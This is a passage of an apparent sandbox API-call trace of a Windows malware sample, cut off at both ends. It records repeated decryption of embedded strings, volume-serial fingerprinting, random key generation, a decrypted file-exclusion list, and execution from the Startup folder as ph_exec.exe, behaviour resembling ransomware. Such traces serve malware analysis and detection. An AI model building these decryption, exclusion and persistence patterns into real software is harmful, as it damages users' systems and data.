out: pbData=0xf11230, pdwDataLen=0x6ffb70) returned 1 [0126.805] CryptDestroyKey (hKey=0x7395a8) returned 1 [0126.805] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0xbd) returned 0xf112f8 [0126.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1333055, lpParameter=0xf112f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0126.806] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0126.806] CloseHandle (hObject=0x220) returned 1 [0126.806] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0126.806] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x60) returned 0xf11230 [0126.806] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffbc8 | out: phKey=0x6ffbc8*=0x739128) returned 1 [0126.806] CryptSetKeyParam (hKey=0x739128, dwParam=0x1, pbData=0x6ffbb0, dwFlags=0x0) returned 1 [0126.806] CryptDecrypt (in: hKey=0x739128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffb7c | out: pbData=0xf11230, pdwDataLen=0x6ffb7c) returned 1 [0126.806] CryptDestroyKey (hKey=0x739128) returned 1 [0126.806] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x5c) returned 0xf113c0 [0126.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1333055, lpParameter=0xf113c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0126.807] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x1388) returned 0x102 [0131.819] CloseHandle (hObject=0x220) returned 1 [0131.819] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf114d8 [0131.819] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb94 | out: phKey=0x6ffb94*=0x7390a8) returned 1 [0131.819] CryptSetKeyParam (hKey=0x7390a8, dwParam=0x1, pbData=0x6ffb7c, dwFlags=0x0) returned 1 [0131.819] CryptDecrypt (in: hKey=0x7390a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf114d8, pdwDataLen=0x6ffb48 | out: pbData=0xf114d8, pdwDataLen=0x6ffb48) returned 1 [0131.819] CryptDestroyKey (hKey=0x7390a8) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11500 [0131.819] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf11230 [0131.819] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11258 [0131.819] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb6c | out: phKey=0x6ffb6c*=0x7393e8) returned 1 [0131.819] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0x6ffb54, dwFlags=0x0) returned 1 [0131.819] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11258, pdwDataLen=0x6ffb20 | out: pbData=0xf11258, pdwDataLen=0x6ffb20) returned 1 [0131.819] CryptDestroyKey (hKey=0x7393e8) returned 1 [0131.819] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11258 | out: hHeap=0xf10000) returned 1 [0131.819] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf11500, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0131.819] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0131.819] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf114d8 | out: hHeap=0xf10000) returned 1 [0131.819] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x6ffbd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x6ffbd4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0131.820] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11500 | out: hHeap=0xf10000) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf114d8 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf11508 [0131.820] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffaa4 | out: phKey=0x6ffaa4*=0x739128) returned 1 [0131.820] CryptSetKeyParam (hKey=0x739128, dwParam=0x1, pbData=0x6ffa8c, dwFlags=0x0) returned 1 [0131.820] CryptDecrypt (in: hKey=0x739128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11508, pdwDataLen=0x6ffa58 | out: pbData=0xf11508, pdwDataLen=0x6ffa58) returned 1 [0131.820] CryptDestroyKey (hKey=0x739128) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf11520 [0131.820] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa9c | out: phKey=0x6ffa9c*=0x7391a8) returned 1 [0131.820] CryptSetKeyParam (hKey=0x7391a8, dwParam=0x1, pbData=0x6ffa84, dwFlags=0x0) returned 1 [0131.820] CryptDecrypt (in: hKey=0x7391a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11520, pdwDataLen=0x6ffa50 | out: pbData=0xf11520, pdwDataLen=0x6ffa50) returned 1 [0131.820] CryptDestroyKey (hKey=0x7391a8) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf11230 [0131.820] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa94 | out: phKey=0x6ffa94*=0x7397a8) returned 1 [0131.820] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x6ffa7c, dwFlags=0x0) returned 1 [0131.820] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffa48 | out: pbData=0xf11230, pdwDataLen=0x6ffa48) returned 1 [0131.820] CryptDestroyKey (hKey=0x7397a8) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf11248 [0131.820] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa8c | out: phKey=0x6ffa8c*=0x739068) returned 1 [0131.820] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x6ffa74, dwFlags=0x0) returned 1 [0131.820] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11248, pdwDataLen=0x6ffa40 | out: pbData=0xf11248, pdwDataLen=0x6ffa40) returned 1 [0131.820] CryptDestroyKey (hKey=0x739068) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11260 [0131.820] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa84 | out: phKey=0x6ffa84*=0x7391e8) returned 1 [0131.820] CryptSetKeyParam (hKey=0x7391e8, dwParam=0x1, pbData=0x6ffa6c, dwFlags=0x0) returned 1 [0131.820] CryptDecrypt (in: hKey=0x7391e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11260, pdwDataLen=0x6ffa38 | out: pbData=0xf11260, pdwDataLen=0x6ffa38) returned 1 [0131.820] CryptDestroyKey (hKey=0x7391e8) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf15280 [0131.820] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa7c | out: phKey=0x6ffa7c*=0x7397a8) returned 1 [0131.820] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x6ffa64, dwFlags=0x0) returned 1 [0131.820] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0x6ffa30 | out: pbData=0xf15280, pdwDataLen=0x6ffa30) returned 1 [0131.820] CryptDestroyKey (hKey=0x7397a8) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x70) returned 0xf15298 [0131.820] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa0c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa74 | out: phKey=0x6ffa74*=0x7391e8) returned 1 [0131.820] CryptSetKeyParam (hKey=0x7391e8, dwParam=0x1, pbData=0x6ffa5c, dwFlags=0x0) returned 1 [0131.820] CryptDecrypt (in: hKey=0x7391e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15298, pdwDataLen=0x6ffa28 | out: pbData=0xf15298, pdwDataLen=0x6ffa28) returned 1 [0131.820] CryptDestroyKey (hKey=0x7391e8) returned 1 [0131.820] htonl (hostlong=0xb4197730) returned 0x307719b4 [0131.820] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x20, pbBuffer=0x6ffb68 | out: pbBuffer=0x6ffb68) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x28) returned 0xf15310 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf15340 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4) returned 0xf15358 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x14) returned 0xf15368 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf15388 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x80) returned 0xf153a0 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf15428 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x82) returned 0xf15440 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf154d0 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4) returned 0xf154e8 [0131.821] CryptAcquireContextW (in: phProv=0x133fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x133fcf4*=0x731fd8) returned 1 [0131.821] CryptGenRandom (in: hProv=0x731fd8, dwLen=0x55, pbBuffer=0x6ffad2 | out: pbBuffer=0x6ffad2) returned 1 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf154f8 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x80) returned 0xf15510 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf15598 [0131.821] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x2) returned 0xf104a0 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4) returned 0xf104b0 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf104c0 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x80) returned 0xf104d8 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf186b8 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x4) returned 0xf10560 [0131.822] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf104a0, Size=0x82) returned 0xf18ae8 [0131.822] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf10560, Size=0x100) returned 0xf18b78 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf186d0 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x82) returned 0xf18c80 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf186a0 [0131.822] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x82) returned 0xf18d10 [0131.822] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf18ae8, Size=0x104) returned 0xf18da0 [0131.822] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf18b78, Size=0x200) returned 0xf18eb0 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf104b0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18eb0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf186b8 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15510 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf154f8 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf104d8 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf104c0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18da0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15598 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18c80 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf186d0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18d10 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf186a0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15358 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15340 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15440 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15428 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf153a0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15388 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf154e8 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf154d0 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15310 | out: hHeap=0xf10000) returned 1 [0131.823] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15368 | out: hHeap=0xf10000) returned 1 [0131.823] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0xa4) returned 0xf104a0 [0131.823] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x66) returned 0xf15310 [0131.823] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf15310, Size=0xca) returned 0xf15310 [0131.823] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18550 [0131.823] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0xb40) returned 0xf18ae8 [0131.823] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa6c | out: phKey=0x6ffa6c*=0x7395a8) returned 1 [0131.823] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffa54, dwFlags=0x0) returned 1 [0131.823] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18ae8, pdwDataLen=0x6ffa20 | out: pbData=0xf18ae8, pdwDataLen=0x6ffa20) returned 1 [0131.823] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.823] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18598 [0131.823] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa64 | out: phKey=0x6ffa64*=0x7391e8) returned 1 [0131.823] CryptSetKeyParam (hKey=0x7391e8, dwParam=0x1, pbData=0x6ffa4c, dwFlags=0x0) returned 1 [0131.823] CryptDecrypt (in: hKey=0x7391e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18598, pdwDataLen=0x6ffa18 | out: pbData=0xf18598, pdwDataLen=0x6ffa18) returned 1 [0131.823] CryptDestroyKey (hKey=0x7391e8) returned 1 [0131.823] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf153e8 [0131.824] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa3c | out: phKey=0x6ffa3c*=0x7392e8) returned 1 [0131.824] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffa24, dwFlags=0x0) returned 1 [0131.824] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf153e8, pdwDataLen=0x6ff9f0 | out: pbData=0xf153e8, pdwDataLen=0x6ff9f0) returned 1 [0131.824] CryptDestroyKey (hKey=0x7392e8) returned 1 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x84) returned 0xf15480 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x84) returned 0xf15510 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf19630 [0131.824] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9ac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa14 | out: phKey=0x6ffa14*=0x7395a8) returned 1 [0131.824] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ff9fc, dwFlags=0x0) returned 1 [0131.824] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf19630, pdwDataLen=0x6ff9c8 | out: pbData=0xf19630, pdwDataLen=0x6ff9c8) returned 1 [0131.824] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.824] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf19630 | out: hHeap=0xf10000) returned 1 [0131.824] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xf15480, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0131.824] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15510 | out: hHeap=0xf10000) returned 1 [0131.824] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf153e8 | out: hHeap=0xf10000) returned 1 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf10550 [0131.824] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa38 | out: phKey=0x6ffa38*=0x7395a8) returned 1 [0131.824] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffa20, dwFlags=0x0) returned 1 [0131.824] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf10550, pdwDataLen=0x6ff9ec | out: pbData=0xf10550, pdwDataLen=0x6ff9ec) returned 1 [0131.824] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x18) returned 0xf10578 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x18) returned 0xf153e8 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf15510 [0131.824] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ff9a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa10 | out: phKey=0x6ffa10*=0x7392e8) returned 1 [0131.824] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ff9f8, dwFlags=0x0) returned 1 [0131.824] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15510, pdwDataLen=0x6ff9c4 | out: pbData=0xf15510, pdwDataLen=0x6ff9c4) returned 1 [0131.824] CryptDestroyKey (hKey=0x7392e8) returned 1 [0131.824] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15510 | out: hHeap=0xf10000) returned 1 [0131.824] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xf10578, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0131.824] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf153e8 | out: hHeap=0xf10000) returned 1 [0131.824] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf10550 | out: hHeap=0xf10000) returned 1 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf19630 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf19848 [0131.824] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf19848, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0131.824] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf19848 | out: hHeap=0xf10000) returned 1 [0131.824] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0xb38) returned 0xf19848 [0131.825] GetLastError () returned 0x0 [0131.825] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb94 | out: phKey=0x6ffb94*=0x739068) returned 1 [0131.825] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x6ffb7c, dwFlags=0x0) returned 1 [0131.825] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf10578, pdwDataLen=0x6ffb48 | out: pbData=0xf10578, pdwDataLen=0x6ffb48) returned 1 [0131.825] CryptDestroyKey (hKey=0x739068) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11508 [0131.825] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf15280 [0131.825] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11230 [0131.825] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb6c | out: phKey=0x6ffb6c*=0x739068) returned 1 [0131.825] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x6ffb54, dwFlags=0x0) returned 1 [0131.825] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffb20 | out: pbData=0xf11230, pdwDataLen=0x6ffb20) returned 1 [0131.825] CryptDestroyKey (hKey=0x739068) returned 1 [0131.825] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0131.825] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf11508, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0131.825] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0131.825] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf10578 | out: hHeap=0xf10000) returned 1 [0131.825] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x6ffbd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x6ffbd4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0131.825] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11508 | out: hHeap=0xf10000) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf10578 [0131.825] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18688 [0131.825] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffaa4 | out: phKey=0x6ffaa4*=0x7395a8) returned 1 [0131.825] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffa8c, dwFlags=0x0) returned 1 [0131.825] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18688, pdwDataLen=0x6ffa58 | out: pbData=0xf18688, pdwDataLen=0x6ffa58) returned 1 [0131.825] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf185b0 [0131.825] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa9c | out: phKey=0x6ffa9c*=0x7392e8) returned 1 [0131.825] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffa84, dwFlags=0x0) returned 1 [0131.825] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf185b0, pdwDataLen=0x6ffa50 | out: pbData=0xf185b0, pdwDataLen=0x6ffa50) returned 1 [0131.825] CryptDestroyKey (hKey=0x7392e8) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18580 [0131.826] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa94 | out: phKey=0x6ffa94*=0x7395a8) returned 1 [0131.826] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffa7c, dwFlags=0x0) returned 1 [0131.826] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18580, pdwDataLen=0x6ffa48 | out: pbData=0xf18580, pdwDataLen=0x6ffa48) returned 1 [0131.826] CryptDestroyKey (hKey=0x7395a8) returned 1 [0131.826] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf185c8 [0131.826] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffa24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffa8c | out: phKey=0x6ffa8c*=0x7395a8) returned 1 [0131.826] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffa74, 